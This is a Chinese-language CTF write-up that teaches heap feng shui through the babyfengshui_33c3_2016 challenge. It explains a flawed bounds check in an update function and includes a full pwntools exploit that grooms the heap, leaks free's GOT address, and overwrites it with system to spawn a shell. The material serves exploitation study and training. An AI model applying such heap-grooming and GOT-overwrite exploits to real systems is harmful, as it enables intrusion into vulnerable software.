堆风水与堆排布

1,664 阅读3分钟

介绍

所谓堆风水也叫作堆排布,其实说严格了并不是一种漏洞的利用方法,而是一种灵活布置堆块来控制堆布局的方法,在一些其他漏洞的利用中起到效果。接下来拿由清华蓝莲花战队出的babyfengshui来讲一下。

babyfengshui

分析

检查一下保护机制,32位,没有开pie保护

image.png

接下来就是静态分析,功能包括增删改查

image.png

其中在add里面,每次申请都会出现两个堆块

image.png

漏洞

继续看update函数,这里有个判断,如果要输入的大小加上description的地址大于等于name堆块的地址就报错,这里name_ptr[a1]-4的位置是chunk的presize处image.png

用图来解释,就是输入的description或者修改的description的长度不能达到图中红线处image.png

初看起来没什么毛病,但是如果这两个堆块没有连续,就会造成两个堆块中间可以随意修改

image.png

如果不连续,同时中间是一个chunk,就会导致中间的chunk可以被随意修改

造成这两个堆块不连续所利用的方法就是堆风水,通过灵活布置堆块来控制堆布局,接下来讲解如何将两个堆块分开

利用

首先申请两个堆块,之后delete第一个chunk

add(0x40,'aaaa',0x40,'aaaa')#idx0
add(0x20,'bbbb',0x20,'bbbb')#idx1
delete(0)

由于unlink机制所以会将0x40和0x80整合起来,如果我们申请一个大小大于0x40chunk,那么该chunk会在原来第一个chunk位置,但是由于剩余的chunk大小会小于0x80,所以会导致原本相邻的chunk会被分开

image.png

这样我们就可以通过修改chunk2来修改到chunk1,控制chunk1指向free_got,再show(1)获取free函数地址,从而得到system函数

add(0x80,'/bin/sh\x00',0x80,'/bin/sh\x00')#idx3 之后用于system('/bin/sh')
payload1 = 'a'*0x54+p32(0x79)+'a'*0x74+p32(0x28)+'a'*0x24+p32(0x89)+p32(elf.got['free']) # 修改chunk1
edit(2,0x100,payload1) # 因为chunk2指向的chunk在chunk1前面,所以通过chunk2修改chunk1指向free_got函数

show(1)
p.recvuntil('description: ')
free_addr=int(u32(p.recv(4)))
print hex(free_addr)
libc=ELF('libc-2.23.so')
libc_base=free_addr-libc.sym["free"]
system_addr=libc_base+libc.sym["system"]

这里注意一点chunk3大小要大于0x70,不然会申请到之前free的chunk中,这样会导致修改chunk1时覆盖到chunk3

因为chunk1被修改到指向free_got,所以继续编辑chunk1,这样就可以修改free->system,free(chunk3)->system('/bin/sh')

EXP

from pwn import *
from LibcSearcher import LibcSearcher
#p = remote('node4.buuoj.cn',25824)
p = process('./babyfengshui_33c3_2016')
elf = ELF('./babyfengshui_33c3_2016')
ptr_addr = 0x804B080
def add(desp_size,desp_content,text_size,text_content):
	p.sendlineafter(': ','0')
	p.sendlineafter('description: ',str(desp_size))
	p.sendlineafter('name: ',desp_content)
	p.sendlineafter('text length: ',str(text_size))
	p.sendlineafter('text: ',str(text_content))

def delete(idx):
	p.sendlineafter(': ','1')
	p.sendlineafter('index: ',str(idx))

def show(idx):
	p.sendlineafter(': ','2')
	p.sendlineafter('index: ',str(idx))

def edit(idx,text_size,text_content):
	p.sendlineafter(': ','3')
	p.sendlineafter('index: ',str(idx))
	p.sendlineafter('text length: ',str(text_size))
	p.sendlineafter('text: ',str(text_content))

add(0x40,'aaaa',0x40,'aaaa')#idx0
add(0x20,'bbbb',0x20,'bbbb')#idx1
delete(0)
add(0x50,'cccc',0x50,'cccc')#idx2
gdb.attach(p)
add(0x80,'/bin/sh\x00',0x80,'/bin/sh\x00')#idx3
payload1 = 'a'*0x54+p32(0x79)+'a'*0x74+p32(0x28)+'a'*0x24+p32(0x89)+p32(elf.got['free'])
edit(2,0x100,payload1)
show(1)
p.recvuntil('description: ')
free_addr=int(u32(p.recv(4)))
print hex(free_addr)
libc=ELF('libc-2.23.so')
libc_base=free_addr-libc.sym["free"]
system_addr=libc_base+libc.sym["system"]

edit(1,4,p32(system_addr))
delete(3)
p.interactive()